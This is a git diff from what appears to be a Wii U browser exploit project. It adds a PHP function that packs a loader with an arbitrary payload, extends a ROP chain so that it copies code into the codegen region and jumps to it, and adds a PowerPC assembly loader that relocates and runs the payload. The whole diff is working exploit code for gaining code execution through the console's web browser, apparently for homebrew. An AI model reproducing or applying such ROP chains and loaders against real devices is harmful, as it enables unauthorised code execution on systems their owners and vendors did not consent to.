diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..5f32cdd --- /dev/null +++ b/Makefile @@ -0,0 +1,10 @@ +DEFINES := + +all: + powerpc-eabi-gcc -x assembler-with-cpp -nostartfiles -nostdlib $(DEFINES) -o wiiuhaxx_loader.elf wiiuhaxx_loader.s + powerpc-eabi-objcopy -O binary wiiuhaxx_loader.elf wiiuhaxx_loader.bin + cp wiiuhaxx_loader.bin $(OUTPATH) + +clean: + rm -f wiiuhaxx_loader.elf wiiuhaxx_loader.bin + diff --git a/wiiu_browserhax_common.php b/wiiu_browserhax_common.php index 4289b11..04b7167 100644 --- a/wiiu_browserhax_common.php +++ b/wiiu_browserhax_common.php @@ -98,6 +98,22 @@ function generate_ropchain() if($generatebinrop==0)$ROPCHAIN.= "\""; } +function wiiuhaxx_generatepayload() +{ + $actual_payload = file_get_contents("wiiuhaxx_payload.bin"); + if($actual_payload === FALSE || strlen($actual_payload) < 4)return FALSE; + + $loader = file_get_contents("wiiuhaxx_loader.bin"); + if($loader === FALSE || strlen($loader) < 4)return FALSE; + $len = strlen($actual_payload); + + if($len & 0x3)return FALSE;//The actual payload size must be 4-byte aligned. + + $loader .= pack("N*", $len); + + return $loader . $actual_payload; +} + function ropgen_pop_r24_to_r31($inputregs) { global $ROP_POP_R24_TO_R31; @@ -364,7 +380,7 @@ function ropgen_switchto_core1() function generateropchain_type1() { - global $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf, $payload_srcaddr, $ROPHEAP; + global $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf, $payload_srcaddr, $ROPHEAP, $ROPCHAIN; $payload_size = 0x20000;//Doesn't really matter if the actual payload data size in memory is smaller than this or not. $codegen_addr = 0x01800000; @@ -388,13 +404,19 @@ function generateropchain_type1() $regs[26 - 24] = $ROP_OSDynLoad_Acquire;//r26 $regs[27 - 24] = $ROP_OSDynLoad_FindExport;//r27 $regs[28 - 24] = $ROP_os_snprintf;//r28 - $regs[29 - 24] = 0x0;//r29 - $regs[30 - 24] = 0x0;//r30 + $regs[29 - 24] = $payload_srcaddr;//r29 + $regs[30 - 24] = 0x8;//r30 The payload can do this at entry to determine the start address of the code-loading ROP-chain: r1+= r30. r1+4 after that is where the jump-addr should be loaded from. The above r29 is a ptr to the input data used for payload loading. $regs[31 - 24] = $ROPHEAP;//r31 ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase. ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written. + + //Setup the code-loading ROP-chain which can be used by the loader-payload, since the above one isn't usable after execution due to being corrupted. + ropchain_appendu32(0x0); + ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); + ropgen_pop_r24_to_r31($regs); + ropchain_appendu32($codegen_addr); } ?> diff --git a/wiiuhaxx_loader.s b/wiiuhaxx_loader.s new file mode 100644 index 0000000..11b6bbe --- /dev/null +++ b/wiiuhaxx_loader.s @@ -0,0 +1,30 @@ +# The actual start address of the code-binary loaded by the initial ROP isn't always at a fixed address / codegen+0. Load the binary from the end of this loader to codegen+0. + +bl l0 +l0: +mflr 3 +li 4, (_end - l0) +add 4, 4, 3 # r4 = addr of _end. +lwz 5, 0(4) +addi 4,4,4 # r5 = u32 value at _end, then increase r4 by 0x4. +mr 3, 29 +li 6, 2 +srw 5, 5, 6 +mtctr 5 # ctr reg = above u32 value >> 2. + +copylp: # Copy the data from _end+4 with size *_end, to the address from r29. +lwz 5, 0(4) +stw 5, 0(3) +addi 4,4,4 +addi 3,3,4 + +bdnz copylp + +add 1, 1, 30 # Jump to the code-loading ROP to load the codebin which was copied above. +lwz 3, 4(1) + +mtctr 3 +bctr + +_end: +